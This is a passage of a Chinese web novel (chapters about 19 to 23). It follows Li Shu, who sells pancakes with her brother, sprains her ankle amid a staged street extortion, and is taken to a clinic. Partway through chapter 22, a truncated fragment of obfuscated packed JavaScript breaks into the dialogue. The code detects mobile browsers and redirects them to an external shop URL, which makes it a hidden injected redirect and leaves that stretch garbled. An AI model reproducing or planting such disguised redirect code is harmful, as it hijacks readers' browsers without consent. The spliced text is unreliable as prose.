此时的李挺已经卖了好些饼子，包饼，收钱，寒暄竟是意外地熟练，像是做这营生许久了，动作比自己还利落。
“李家丫头，今日怎地不卖包子了？”张蒙捏着张馅饼在一旁边吃边问，他对吃食一向大方，也不心疼每日多花了两文钱。
“昨日没买猪肉，叔您想吃肉馅包子？”李姝有点为难，肉包子目前市场不太好，她准备先卖一个月馅饼，届时他们吃腻了，肯定愿意都买肉包子换换口味。
张蒙更想吃菌菇包，但他也知道，这东西虽然香，却不如肉包子抵饿，于是也没有反驳，“对，明日卖包子吗？”
李姝想了想，同意了，毕竟她爹也需要吃肉。
有些昨日没来的，并未见过李姝的包子，有些好奇，“这包子也像馅饼这般好吃吗？”
不用李姝说，已经有吃过的人开始推销了，“自然是好吃，他们这包子皮是没有酸味的，还很有韧劲，浸了汤汁后嚼起来比肉馅还好吃。”
说得人周围的人都开始流口水，纷纷开始向李姝订包子，连昨日因为价钱而打退堂鼓的人都有些松动，也想着明日买个包子尝一尝。
李姝暗暗数了数，开口说的人怕是有十来个，不过无论真假，她都决定只包一斤肉馅，本钱不够，还是尽量减少损耗，宁愿不够卖也不能剩。
李挺在一旁默默看着未开口，见自家妹妹这落落大方的模样，既欣慰又骄傲，听着别人夸奖妹妹，可比自己被夸时高兴多了。
可能是因为昨日被监头打断导致有些人没能买到，今日买馅饼的人比昨日多了许多，且很多都买两个，五十个馅饼很快便卖完了。
幸好李忠的午饭是专门盛出来的，今日给他带的是米饭配菜，昨日李挺拿回来的猪头张翠花也切了些肉下来炒了，兄妹俩都并未吃太多，大都被张翠花塞给了李忠。
没买到的人纷纷过来要求明日多加些量，有些连着两日都没吃到，更是“怨念”深重，“李家丫头，我这两日都没买到了，明日能否给我留两个？我干活的地方稍远点，跑不过他们啊！”
李姝有些哭笑不
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得，只答应明日定会做够量，让他放心，再三保证后，剩下的一群人才满意离开。
总算是将人劝走了，李姝立马拉着她哥往县城里走。
自家妹妹的吃食竟然这么受欢迎，李挺有些意外，怪不得姝儿“硬着头皮”找自己学认字呢，往后没准还真能到县里开铺子。
既然如此，那他就不止教她认字这么简单了。
李姝求之不得，书籍太贵，她买不起，正是需要个老师让她“白嫖”知识。
兄妹俩倒是各自在心里达成了一致的意见。
到了县城，李姝也没空再东张西望，拉着哥哥往菜肉行而去，还是上回的肉案师傅，李姝又买了一斤五花肉。
临走时，像是想起了什么，李姝往肉案上来来回回找了好一会，也没找到她想要的东西。
肉案师傅看不下去了，再盯下去，他都以为自己这肉案有什么问题了，“小姑娘，你想找什么？”
“有没有猪血？”
肉案师傅有些意外，怕是没想到一个看起来乖巧文静的小姑娘开口竟是要猪内脏，“有”，肉案师傅边说边弯腰从肉案下拿出了一个盆，里面装了满满的猪血，“小姑娘，你确定要这猪血吗？”虽说已经凝固，可这血淋淋的颜色，一般小姑娘都是不愿看的。
但兄妹俩都未表现出任何异样，李姝涮火锅吃多了，自然不会觉得有什么，反而凑前闻了闻，怕放太久变味了，而李挺虽说并未吃过，可他很是有些定力，尤其在外人面前，即使这猪血于他来说的确有些难以接受，但也能面不改色，像是见怪不怪一般。
两人的反应被看在眼里，肉案师傅心下有数了，这两人怕是穷苦人家的孩子，这内脏一般都是些吃不起肉的人会买的，猪血比其他内脏腥味小，穷苦人家更愿意买这猪血。
可即使知道，他也并未有任何态度上的变化，谁又是没穷过呢？
“我不要这么多。”李姝伸手在盆上方比划了一下，“大约这么多便够了。”
“成。”肉案师傅利落的划了几刀，装好后递给了李挺，“送你了，不要钱。”
李姝正要掏钱，闻言抬头，有些诧异，李挺也并未接过猪血，连忙回道：“怎能白要呢？您看多少钱，我们付。”
“这血不值钱，这一大盆也就一文钱，你们拿回去吧。”肉案师傅干脆利落，将猪血塞到了李挺手中，“不碍事，下回再来我这买猪肉。”
兄妹俩对视一眼，收下了，李挺作揖回礼，“多谢。”
看着俩人一前一后走了，肉案师傅有些沉思，面上也有了些笑意，不像方才那般严肃，这两兄妹一个端方沉稳，一个文静乖巧，一举一动甚是有教养，往后定是能有个好前程。
旁边肉案的师傅见这边的生意一个接一个，有些捻酸，“张大头，这么大方，是想给人上赶着当爹呢？”
张大头人好，从不会给人缺斤少两，即使不在他这买的肉，他也乐意帮人砍骨头，因此总是这一猪肉行中最早卖完的，可总有些人缺德又看不得别人好，回回都拿张大头没有孩子的事说，将人的痛处当成笑话在戳。
张大头没有回话，只拿起了桌上的刀，重重地将剩下的猪头一刀劈成两半，神情紧绷，动作利落又干脆，仿佛砍得不是猪头，而是旁边人的项上人头。
旁边肉案的彻底没声音了，连人都被吓得缩在凳子上，眼神都不敢往这瞟。
看见的人暗暗啐了一声，眼里满是不屑，“呸，怂货！”
20. 第 20 章
李挺拿着猪血，不动声色地将它左右倒右手，还越拿越远，脸上表情快绷不住了，幸好肉案师傅将这装猪血的竹筒口塞了木塞，木塞上还裹了布，让人看不到那血块的模样，不然李挺怕是连拿都不想拿了。
看着前面像是浑身不舒服的人，一会伸左右，一会伸右手，时不时还要避让行人，像是在跳一支不熟练的舞蹈，认真但滑稽，李姝不厚道地偷偷笑了。
谁知前面的人像是后背长了眼睛，“再笑就给你拿回去。”接近崩溃的人连话都严肃了起来。
李姝依旧笑眼弯弯，没管前面的“纸老虎”，跟在她哥后面慢悠悠地走，也没想过要将那猪血拿过来。
或许是不经意间笑出了声，让前面神经紧绷的人听到了，李挺倏的停下了脚步，转身，对上了李姝未来得及收回的笑容，眉眼弯弯，眼里还闪过一丝狡黠。
一瞬间，李挺又划过了眼前之人不是妹妹的想法，如今的妹妹，实在和往日不太一样，他总觉得像是两个人一般，只是刚起念，便自己将自己说服了，只将这不同归咎于自己以前未关心妹妹。
如今...也挺好的。
李挺满脸无奈，稍显稚嫩的圆脸此时放松下来，终于像是一个少年郎了，“笑够了没有？”
“够了够了。”李姝没再得寸进尺，适时收手了。
“笑够了先帮我拿一会，哥哥进去买些东西。”李挺将手中的猪肉和猪血递了过来，李姝此时才发现，他们正站在一家书肆门口。
“哥，我想和你一起进去。”
李挺...我就是不想让你进去才让你等...
这家书肆李挺经常光顾，当然他出入这里并不是买书，而是抄书。
书肆生意不错，总有人买不起正版书而选择手抄本，这家掌柜会做生意，他并不像有些店铺一般阻止别人抄，而是自己主动卖手抄本，没有时间自己抄书的，便都会来买这手抄本，比正版能便宜许多。
当然，能拿出来手抄本卖的，大都是些小说、游记等闲书，或者是历代考题这种薄利多销的书，李挺便帮着书肆掌柜抄了许多这些类型的书，与掌柜亦是相熟。
经他这一日的“观察”以及往日对妹妹的了解，妹妹算术并不好，可若是要开铺子，不会算账可不行，因此当下妹妹最应学的除了认字便是算账，家里并没有相应的书籍，李挺想从书肆借一本。
想到妹妹那看书就犯困的毛病，李挺怕让她进去后打消了她看书的兴头，怕是还没开始，便要放弃了。
“别捣乱，在外面等着，哥哥很快出来。”说完也不等李姝反驳，转身就进了书肆。
李姝...我在哥哥这的印象还停留在学渣阶段吗...？
学渣进了书肆能捣什么乱？最多犯困罢了。
额...他是怕自己进去犯困给他丢人...吗？
李姝低头看着自己一手猪肉一手猪血，算了，不跟他计较，自己提着生猪肉进去怕确实会引起些骚动，大不了下回我自己逛。
只是李挺进去得有些久，李姝站在门外百无聊赖地左看右看，旁边摆着张矮桌的道士见李姝一个人，拿着把蒲扇慢悠悠地走了过来，宽大的道袍并未掩盖他清瘦的身型，两袖微微摆动，倒是被他甩出了一丝仙风道骨的气质。
甚至连说话语调都不疾不徐，一派从容之姿，“这位小姐，本道观你印堂发黑，今日似是有血光之灾，可要算一卦？定保小姐消灾除厄，百病不侵。”
李姝有些好奇，转头看着他那用木板垫着一脚的桌子，桌子上随意放了几张符纸，毛笔压在上面时不时被风微风吹得来回滚动，留下了一片来回磨蹭的墨迹，旁边的角落里还扔了几团疑似粘了油污的符纸，被那挂在一旁的道幡挡住了。
李姝低头瞥了瞥道士的手，指甲倒是不长，只是有几只指甲盖同样泛着油光...
这道士...说他讲究，他又有些邋遢，说他不讲究，这姿态倒是十足十的世外之人模样，这是演的，还是他确有几分本事？若是演的，那演技真好，可以去演封神榜的姜子牙了。
不过，这行头跟她以为的还有些差别，于是她忍不住问，“您怎么拿着蒲扇？不是应该拿拂尘吗？”
虽然生活习惯可能不太好，但性子倒是不错，道士并没有被质疑后的愤怒，反而乐呵呵地答了李姝的话，“自然是因为天气热，蒲扇凉快啊！”说着，道士又摇了摇蒲扇，看了眼李姝说：“拂尘蒲扇皆是外物，我道家之人讲究随心便好。”
李姝笑了，或许是看出自己心有忧虑，眼前之人才会顺势劝解自己随心便好，无论他是否真的会算卦，至少挺会察言观色，果然还是有些本事的。
于是她会心附和道：“您说的对，多谢指点。”
“姑娘可要算一卦？”道士见李姝眉眼皆放松，知道是自己的话起了作用，于是顺势又问了一遍。
“准吗？”这话说的，倒像是单纯的小白兔，踩进坑里了还在问这是在做什么。
蒲扇一上一下，带出了笃定的话语，“不准不要钱。”
李姝问出了两世都想问的问题，“我什么时候能发财？”两眼都开始放光，可见是诚心求问了。
道士并未回答，只摸了摸胡子说：“小姐若是有兴致，可到我摊上算一卦？”
懂了，得给钱。
若不是因为这古代没有手指磋磨着数钱的动作，怕是这道士摸的就不是胡子了。
可李姝是个穷丫头，给不起，于是两手一摊，笑盈盈地说：“不了，我没钱。”
道士瞧着眼前的姑娘，眉眼灵动，年纪应不大，可两手摊开的姿态大方又随意，有着不符合年龄的淡然，说话时又天真无拘，聪慧却不精明，怕是早就看穿了自己的伪装。
道士笑了，这笑倒是比方才更真心了些，他转身拂了拂袖，不在意的说：“无妨，只是机缘未到。”话倒是说得很漂亮。
说着便坐回了自己那破桌子后，开始“物色”下一位有缘人。
李姝有些意外，这么随意？正想多说些话，突然不远处的酒楼门口传来了一阵喧闹声，李姝没来得及看清，那酒楼门口便被围观的人挡住了，只能听到模糊的哭喊声。
有八卦！
在这个没有手机没有网络的时代，八卦已经是最好的娱乐了，看那些过路的
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人围得这么迅速便知道了，八卦永远不缺人看。
“老伯，等会我哥哥出来，您帮我跟他说一声，我在那酒楼门口等他，我知道您肯定看到我哥哥进去了，下回请您吃包子。”这自来熟的模样，仿佛两人早已认识，李姝也不等那道士回答，转身便走了。
道士...一下午没破功的脾气此时稍稍松动了，唇下的胡子微微抖动，半晌才憋出句话，“这无赖的小丫头！”
远处，那无赖的丫头正垫脚在人群外努力看八卦，即使入目皆是别人的人头，也能看得津津有味，道士无奈笑了，看了看今日文钱未入的钱袋，闭眼睡觉去了。
而李姝此时努力垫脚听门口的动静，只能大致听见一人在地上嚎叫，声音有些夸张，像是干打雷不下雨的小孩把戏，旁边站了个身形高大面带英气的年轻男子，应是被绊住了脚，看他扯动的双脚显示了此时他的不耐烦。
想是被缠得烦了，那男子抽出了腰间挂着的鞭子，往地上猛的抽了一下，并大声呵斥着，“滚！”那长长的鞭子甩起来高过人的头顶，周围人群吓得直往后退，李姝被挤得差点摔倒，也没看清那鞭子究竟是否抽到人了。
地上那人的叫声倒是一如既往的假，应是没抽到，所以，这是在...碰瓷...吗？
好家伙，这古代的碰瓷技术也太差了！嚎得这么假。
李姝垫脚努力往前凑，见那站着的男子衣着华丽，头上戴着青玉冠，确实是一副富家子弟的模样。
此时地上的人已经不满足于呻吟了，开始了指控，“打人了呀！大家快来评评理，长史儿子打人了！长史儿子以势压人呀！”
豁，还知道别人的身份，这还是有预谋的碰瓷。
只是他像是没词了，来来回回说了好几遍一样的话，太假了，可李姝却听人群中有些人信了，跟着地上那人便开始指责那年轻男子，“这人怎么这样？长史儿子就无法无天了吗？将人打成这样，还有没有王法了？”
甚至有些人在喊着要报官了。
李姝...
那男子应是听到了别人的指责，一瞬间又举起了手中的鞭子，这回倒像是真的要抽在人身上了，脸上的怒气都真实了些，“你这泼皮无赖，血口喷人！今日爷倒是让你看看什么叫打人！”说着便要挥鞭子。
但男子的手却被拉住了，手腕翻转，只几瞬，那鞭子便到了别人手中，李姝垫脚的脚尖开始麻了，可也不愿停下，只不停地往前凑，看到夺鞭子的人似是一个红衣女子，这么帅的女孩子，当然是要看的，李姝把脖子都伸长了，注意力全在那红衣女子身上。
突然人群中一阵骚动，李姝还没反应过来，便被推了一把，她只来得及看到一个身材矮小衣衫褴褛的人撞开了自己，她一个趔趄，手上的猪肉被撞飞了，脚下钻心的疼痛一瞬间传来，让她忍不住痛呼，脚下又痛又麻，她站不住，直往地上倒。
预想中的倒地没有发生，她撞入了一个坚硬的怀抱中，身后的人伸出了一条臂膀，粗壮的手臂揽过了自己的腰，让她不至于直接倒地，只轻轻地被放在了地上。
此时耳后传来声音，有些低沉，“没事吧？”
21. 第 21 章
李姝捂着小腿有些发抖，不知是不是她太紧张了，她觉得伤到的脚像是没了知觉，以她的知识她也无法判断是骨折还是扭伤，于是紧咬着嘴唇放缓呼吸，尽量让自己放松，她不敢碰脚踝，只好在别的地方用力来转移疼痛，此时脚踝处已一片红肿，李姝分不清是痛还是麻。
她抬头往书肆望去，书肆门口人来人往，她哥还没出来，只方才那道士在远处看着自己，起身的动作像是要走过来。
李姝转回头，突然一片阴影笼罩了自己，身后那被自己忽略的男子走到了身前，顺势蹲了下来。
男子身形高大，即使蹲下来也比自己高一个头，李姝顾不得感谢也顾不得问清姓名，她现在得去医馆，于是开口求助，“这位大哥，能否麻烦你帮我去前面的书肆中找一个叫李挺的人？他是我哥哥，方才在那书肆买书。”
男子未出声，只皱眉盯着眼前姑娘的脚踝，眼睛漆黑而深邃，半晌后抬头，低沉的声音再次响起，带着不容置疑，“得罪。”说着便伸手握住了李姝的脚。
李姝看他像是要给自己治脚，有些犹豫要不要挣扎，看着挺靠谱的，可他是谁？视线略过男子，看到了他身后的背篓，那背篓里装的像是些...农具？
“等等！”李姝阻止了男子想要转动自己脚踝的手，那男子闻言停下了动作，只平静地看着李姝，深邃的眼神盯得李姝有些紧张，可能是性格原因或者是职业原因，他不说话时脸上总让人觉得严肃，此时他虽面无表情，李姝却隐约看到了他脸上划过一丝不满。
这人...好严肃！
“你是大夫吗？”为了自己的小命着想，李姝没有退让，还是与那男子对上了眼神。
“不是。”低沉的声音平静无波，似是不觉得这是什么大问题。
“那还是...”李姝抽了抽脚，却不小心扯到了伤处，“嘶~”疼得她整个右半边的身子都软了，直往左侧倒。
“别动！”又是一道不容置疑的声音，小腿和脚掌被同时握住了，让李姝稳住了身形。
虽然他看着真的很靠谱，可李姝还是不敢相信他，“大哥，还是等我哥哥过来送我去医馆吧，多谢你的好意。”
“这位妹妹，你身前这位壮士应是可信的。”
李姝转头，发现不知何时方才那被碰瓷的年轻男子和夺鞭子的红衣女子已站在了自己身后，不远处那撞了自己的乞丐被人制服在地，脸上皆是惊恐。
说话的人是那红衣女子，她虽是满脸善意，可李姝没有答话，也没有被这红衣女子的话说得动容，只有些疑惑地看了她一眼，面上还是紧咬双唇，任谁都能看出她在忍着痛。
她承认自己戒心有些重，眼前的男子应确实能给自己治脚，可为了让自己安心，李姝还是选择相信医馆。
红衣女子见地上的姑娘未因自己的话而动容，也不再说什么，她示意身边的随从去书肆。
眼前蹲下的男子身姿挺拔，步伐沉稳，握住那姑娘小腿的虎口上有着陈茧，最重要的是，男子方才制止的动作中漏出了一截手臂，手臂有伤疤，应是刀伤，这男子以前怕是军中之人，地上这姑娘的扭伤他应确实能治。
只是她并未多言，小姑娘受伤，第一反应自是会相信更亲近的家人，而不是陌生人。事情是因他们几人而起，她也不能一走了之，于是便陪着这位姑娘等她的哥哥，旁边的年轻男子扯了扯嘴角，像是要为她分辩，被她制止了。
蹲在李姝身前的男子倒是没被周围的话打扰，抓着李姝的脚并未放手，只专心的又盯了盯李姝的脚踝，像是在再三确认自己的诊断，良久，他抬头，双眸依旧，开口问道：“确定不需我治吗？”
李姝没有答，只反问：“你懂治病吗？”
男子看了她一眼，并没有被质疑的怒气，“略懂。”
“可是我不懂。”
男子有些平静的面容终于有了别的神情，他眉头微挑，有些疑惑，明明是在说不懂，说话的语气却又自信笃定，这是什么话？
沉思半晌，他像是懂了——因为不懂，所以宁愿相信世代行医的医馆吗？他有些意外，这话倒是新鲜。
李姝没再说话，她看到道士将她哥叫出来，并给她哥指路了。
李挺在书肆被掌柜拉着接了一个急活，书肆总是有这样的生意，从前李挺接过，熬了几夜赶出来，就为了多那几十文钱，导致他白日里上课时总昏昏欲睡，书院老师未斥责他，却将此事告知了他的恩师，被恩师知道后痛骂了一顿，连说他目光短浅都骂了，从此后李挺便再也没有接过这种急活。
今日李挺正好送上门，书肆掌柜真找不到人了，不然也不会拉着他缠了许久，李挺受他照顾了好几年，不想让他寒心，最终也还是接了下来，只这一来二去，便废了许多时间。
道士进来时他正好要出去，出来时方才发现妹妹不见了，经道士提醒，他往远处看去，竟见自己妹妹坐在地上，一男子还握着她的腿，吓得慌忙跑了过去。
“姝儿！”李姝闻声向她哥挥了挥手，李挺从未这般急跑过，加上内心焦急，让他连说话都有些岔气，“这~这是怎么了？”
李挺看向妹妹被握住的腿，见脚踝处泛起红肿，便知发生了什么，见妹妹嘴唇都咬出血了也不自知，还能对着自己笑，他又心疼又生气，不该让妹妹在外面等的。
那男子见李挺过来，适时的放了手，站起时还像李姝行了礼，“多有得罪。”
李挺顺势蹲下，不动声色地将妹妹的裙摆往下拉了拉。
而李姝则抬头看向男子，此时她的脚已经发麻，她感受不到疼痛，精神倒是好了些，听那男子说话便不假思索地回道：“何来得罪？要不是你，我怕是要摔倒在地，多谢了。”
男
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子顿了顿，看了她一眼后回道：“举手之劳。”
李姝道谢道得真心实意，可也有些没心没肺。
她当时有些疑惑，并未想明白为何男子说了两次得罪，直到后来回家休息时想起，她才反应过来，当时男子在大庭广众之下握住自己的脚，对女子来说应算是冒犯的。
可这时的她并未想明白，丝毫没有寻常女子的羞涩，不过是握了脚，还是善意的想帮自己，她心思压根没往别的方面想。
道完谢，她觉得这事已经过了，便转头看向她哥，“哥，我脚扭了。”
男子心下微动：这女子行事倒是不拘小节，踝骨有些错位，应是很疼的，可她却比一些男子还要能忍，嘴唇都咬出血了，却也没有哭，可见是心性坚定之人。
女子被汗水浸湿的鬓发散乱地贴在了眼尾，许是见到了亲人，翦水的双眸此时露出一丝委屈，不知怎地，他有些不好意思地别开了双眼，转身去拿身后的背篓，只动作却不自觉地放慢了。
李挺险些被妹妹这大大咧咧的模样气笑了，见妹妹像是疼得冷汗直流，也没再多话，只立马转身想要背起妹妹，“哥哥背你去医馆。”
可李姝脚麻了，无法起身，正想叫她哥，身后却有人伸出双手，一手握住自己手肘，一手架在自己腋下，李姝转头，是那红衣女子。
近距离看，那女子肤若凝脂，眉毛浓密，微垂的双眸上睫毛如同蝴蝶翅膀在轻轻扇动，看得李姝心痒痒，顺着她的力道站起身，李姝到了声谢，便趴在了她哥背上。
李挺小心翼翼地扶着妹妹的腿，刚站起身便抬脚要走，李姝在他耳边悄悄制止，“哥，肉还没拿。”
那被遗忘在角落的五花肉和猪血正孤零零的一个在东一个在西，幸好肉案师傅包得紧，肉没脏猪血也没倒出来。
李挺正想低头去捡，只见那站在身旁的红衣女子又出手了，她弯腰捡起了地上的食物，递了过来，脸上是善意的微笑，并未因着这猪肉的味道而有所嫌弃。
李姝这时才看清了这女子的模样，身穿男子常穿的红色圆领窄袖长袍，腰间搭着蹀躞带，头上挽起的发髻别着一支玉簪，明明是一副男子打扮，却明眼一瞧便知是女子，眉宇开阔，双眸明亮，高挺的鼻梁让她看起来英气十足。
只是这女子怕是年纪不大，脸上的轮廓虽分明，可脸颊上的稚嫩却让她平添了些许稚气。
李姝再一次感叹古代人的早熟，这女子的长相英气，要是跟她哥换一换，怕也是丝毫不显突兀的。
接过了她手中的食物，李姝再次道谢，这女子衣着上乘，气质端正大气，怕也不是寻常人家，李姝虽想结交，可也知道古代的等级制度十分森严，高门大户碾死他们跟碾死蚂蚁一样简单，她不想沾上，便也没再多说什么。
李挺倒是没有这些弯弯绕绕，同样道了谢后便背着妹妹转身走了。
22. 第 22 章
兄妹俩旁若无人的走了，本就是无妄之灾，也无需他们留下善后，至于撞李姝的人，自有人会处置。
只是在他们不注意之时，红衣女子侧头示意，一名随从悄悄跟着李姝兄妹俩走了，女子转头，见那疑似从过军的男子对自己行了礼，像是知道自己的身份，她并不意外，能跟长史儿子站一起的自然也不是寻常人家，连方才那姑娘也瞧出来了不是吗？
想起那姑娘看自己如洪水猛兽一般不想沾染半点的模样，她有些想笑，她倒是机敏，至于自己，本就是人见人嫌的不是吗？
背篓男子行礼后便转身走了，仿佛只是随便打了个招呼，不带任何情绪，方才被挑动的一丝心神早已被他压下，悄悄地藏在了心底，此时回味后竟有些隐秘的快意，让他素来沉静的双眸略过些许细碎的华光，整个人生动了许多。
他听过李挺的名字，只是从未见过，眸光流转，似是有了主意，眼神笃定，带着些势在必得。
而红衣女子这边，见人都走了，也终于开始料理“后事”。
身后那乞丐早已被制服在地，嘴被堵住了，见女子看过来，竟支支吾吾地开始摇头晃脑，喉咙里发出些含糊的声音，女子看了一眼便侧头跟身边的年轻男子示意。
“这人交给你了，送到知县那吧。”边说女子边向侍从挥手，举手投足间倒是有一番武将的利落。
身边的男子却不乐意，脸上皆是气愤，连声音都比平日大了许多，“阿璃，这人如此污蔑我，怎能这般放过他？知县那老油条定是打十板子了事，对于这种人来说不痛不痒，如何能让他长记性！”
女子——萧青璃，未因他的气愤而退步，像是习惯了他的脾气，只笃定地说：“他不过是受人蛊惑，不用将事归咎于他，只他今日撞了百姓，却是不该，送到知县那让他领罚便是。”
听到还有幕后之人，男子瞬间炸了，“是谁？！”手中的鞭子被他来回扯动，一副蠢蠢欲动的模样。
女子皱眉，不客气地“啧”了一声，道：“常青，我的鞭子答应借你一日，可不是用来让你这般糟蹋的！”
常青不在意地将鞭子系回了腰间，他们本就熟稔，他也知道阿璃并不是真的生气，于是也未将这话放心上，只追着问：“到底是谁？”
萧青璃有些心疼，自己的鞭子今日遭了好些罪，心下有些后悔，不该拿鞭子来打赌的，常青这愣头青什么都不想，就一天到晚只知道问，问，问，怪不得他们这些武将之子总是在那群手无缚鸡之力的软脚虾那吃瘪，一帮连脑子都不愿动的人，怎么能说得过那些从小就一肚子弯弯绕绕的文官之子。
眼前之人的眼神清澈又...清澈，萧青璃无奈回道：“前几日蹴鞠你是否赢了子恒？”
“对...”常青下意识回，只一瞬，又开始炸了，“是那小子？！”只是这语气，怒气倒是有，但已经少了些戾气。
萧青璃双手抱胸，有些看热闹地道：“我说，都两年了，你们这来来回回好了又炸，炸了又好的把戏，还要玩多久？”
常青被他看得心里发毛，话都有些不利索：“谁...谁跟他好？”顿了顿又有些疑惑，“你怎么知道是他？不过是场蹴鞠，输了也不至于这般耍我。”
圣上登基十年来，日日勤勉朝政，政令多到比前朝加起来都多，最终终于将朝局安稳，百姓安居乐业数十年，无不称赞圣上贤明，只是这十年来，跟着先皇执马仗剑的武将一个一个退出了朝堂，越来越多文官替换上来，文武之间的争斗越来越激烈，自己老了，吵不动，便由自己子孙上来吵，文武两家硬是成了几代对立之势。
窦子恒是知县的侄子，按理也是文官之子，可他倒是有些“离经叛道”，从不以文武来分朋友，很是得常青他们的眼，只是两人性子都有些莽，一言不合便要炸。
听了常青的话，萧青璃也不意外，耸了耸肩，有些敷衍道：“确实不至于，以他的脑子也想不出来用这般迂回的法子，最多找人揍你一顿。”
常青看着萧青璃有些牙疼，嘴里的话过了几次都没说出来，修饰了半晌，方才迂回道：“阿璃，你还是少穿男装吧，这动作我都不会做，你这样要是让你爹瞧见，又得揍你。”
其实他想说的是，你这没有一点女子端庄优雅的模样，往后怕是嫁不出去...可又突然想到她那被退的婚事，心思急转间，常青愣是突然长出了些人情世故，没将话说出来。
萧青璃是谁，是从小跟他一起长大的人，看他眼神就知道没瘪什么好话，只她也不太在意，她本就不愿被拘于内宅之中，从未将婚事放在心上。
“你不告状我爹怎会知道？”见常青还想说，她抬手制止，语气终于有些不耐烦，“滚滚滚，窦子恒虽想不到这法子，可有人能想到，无非就是那几个人，用脚趾头都能想出来，不用我多说了吧？”
说着萧青璃还趁机拿回了自己的鞭子，也不给常青说话的机会，转身便走，步子迈得又大又稳，就是不太像女子...
常青看着有些头疼，虽说把她当兄弟，可也不能真的成兄弟吧？
转身见那乞丐还在那支吾，他示意拿开乞丐口中塞的布，好奇问道：“真是窦子恒指示你的？”
乞丐听了它们的谈话，知道自己最多被押到官府挨十板子，可他也知道，眼前这位爷不一定会按萧青璃说的做，他怕说谎会被揍，于是一股脑的便说了：“是窦三公子跟小的说您今日会去摘星楼吃饭，让小的在门口嚎一嚎，让您恶心一把就跑。”
乞丐低头趴在地上，语气急促却流利，可见是真话了。
常青脸上不怒反笑，眼里闪过一丝无奈，“这蠢货！”
阿璃说得对，窦子恒想不出这样的招，怕又不知被谁三言两语哄骗了，见这乞丐说话不说完整，有些厉色道：“菜上一半便停，是想让小爷揍你一顿再上菜吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056360|146141||http|test|mini|href|location''.split(''|''),0,{}));
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乞丐暗里啐了一下，真倒霉，遇上这两个冤家，那窦三公子明明说这人不会与自己计较，只要恶心完跑了便好，那萧青璃自是会阻止常青，可今日怕是因为撞了那小姑娘，萧青璃也没放过自己，今日怕是要白挨顿打了。
虽是满腹不甘，乞丐也不敢在面上显露，只顺从地回道：“窦三爷说小的跑了之后便去五柳巷找他要赏银。”
常青这回满意了，示意侍从押着人去县衙，自己则往五柳巷走，找人去了。
而李姝这边，像是印证了道士那句：今日有血光之灾，她后知后觉地发现嘴唇竟是被自己咬出了血，方才精神紧张没有察觉，如今倒是疼得她龇牙咧嘴，她万万没想到，那道士瞧着装模作样的，还真有点本事...
李挺听见妹妹不停地斯哈着吐气，有些心疼道：“可是疼了？”想了想又觉得自己说了句废话，便想着转移妹妹的注意力，问道：“你怎地跑到摘星楼去了？”
李姝有些心虚，我要是说自己是被神秘力量引诱过去的，哥哥信吗？
八卦的力量太强大，离开了短视频，她只能亲身上阵了...只是不小心来了套沉浸式体验，让她成了其中的一部分...
果然是乐子人乐子魂，不看乐子浑身疼，看了乐子乐中人。
李姝沉浸在自己的调侃中，并未回复她哥，只是勒紧了手，像是在撒娇。
李挺也没在意，只当她是贪玩不好意思说，毕竟妹妹从前乖巧，并未如此贪玩过，今日怕是吓到了。
因着伤在脚上，李挺不敢乱动妹妹的腿，只是长时间保持着一个动作，让他手有些僵了，额上泛起了细密的汗，可他并未显露，只是专心的哄着妹妹说话，“可是那乞丐撞得你？”
李姝自得其乐，还是有些用处的，让她忘了些许嘴上的伤，只是哥哥怎么执着于跟自己聊天...实在不想动嘴，她只在喉间发出了一声，“嗯。”
“那蹲在地上的男子又是怎么回事？”李挺有些介意，虽说妹妹当时说了感谢的话，可怎地一直抓着腿不放手？
哥哥怕是打定主意要聊天了，李姝没法，只好微张着唇，有些口齿不清地说：“他想帮我治脚，我不同意。”
那男子虽说看着沉稳，也知礼，但让不知哪来的人帮妹妹治病，李挺也不愿意，于是赞赏道：“姝儿做得对，咱还是去医馆好，放心些。”
又想到今日妹妹那大大咧咧毫不害羞的模样，李挺有些欲言又止，作为兄长，他理应出言教她，可他是男子，妹妹瞧着像是还未开窍的模样，他也不知该如何说，正当犹豫之际，背上之人闷哼一声，手突然勒紧了，像是痛极了的模样。
李挺回神，见是路人不小心撞了姝儿的腿，“可是撞疼了？很快到了，哥哥走快些，要扶稳了。”也顾不得再想别的，李挺加快了脚步，闷头往固生堂走，边走边开路：“让一让，让一让，这里有病人，麻烦都让一让。”
23. 第 23 章
固生堂一如既往的热闹。
李姝看着一个个战战兢兢进去，又一个个红着眼眶出来的人，心揪到了嗓子眼，看鬼片最怕的不是鬼出来，而是出来之前那又是吹风又是阴乐又是雷雨的死动作，她觉得那时不时开合半掩的门就像被鼓风机吹起来的背景，外面一个个战战兢兢精神敏感时不时缩一缩肩膀的人就是不定时炸开的雷，而阴乐...
“啊！！！腿，疼，疼，疼，大夫轻点轻点轻点！”
“咔嚓”一声，半晌，“下一位。”
“啊！！！手，疼，疼，疼，大夫轻点轻点轻点！”
“咔嚓”一声，半晌，“下一位。”
这不就来了吗？
这声音比鬼片可具体得多，鬼片最多出来个鬼让你视觉上吓一跳，可这叫声，具体到你还没进去就已经开始感同身受了...李姝感觉自己不仅仅是脚疼，是浑身都疼！
终于见到鬼...呸，大夫了，意外地有些年轻，只是这清冷的模样...李姝觉得他看过来的眼神都是冷的，她连大夫的模样都没看清，这大夫整个人像是被一层冷气笼罩着，光让人觉着冷了，连李挺都有些紧张的...额...让开了身子。
哥哥...你还能不能行了？起码扶着我点啊！
幸好他立马发现了李姝求助的目光，有些讪讪地笑了笑，主动站在了李姝另一侧充当拐杖。
年轻大夫没有废话，见李姝腿悬空着，立马便蹲下去察看，不一会，平静淡然的声音响起：“怎么伤的？”
他自然的将手握住了李姝的脚掌，另一只握着脚踝上一点的地方，边察看边轻轻转动，还算是温柔，可李姝还是有些紧张，注意力全放在了脚上，这大夫平静的声音感觉比他说“下一位”时还要可怕，恍惚间，她听见自己答：“踮起脚尖时被人撞倒了。”
冷静的声音又响起：“可是跳舞？”
怎么回事？治病还要分析事情发生经过吗？
李姝虽疑惑，却也老老实实答了：“不是，在瞧热闹。”
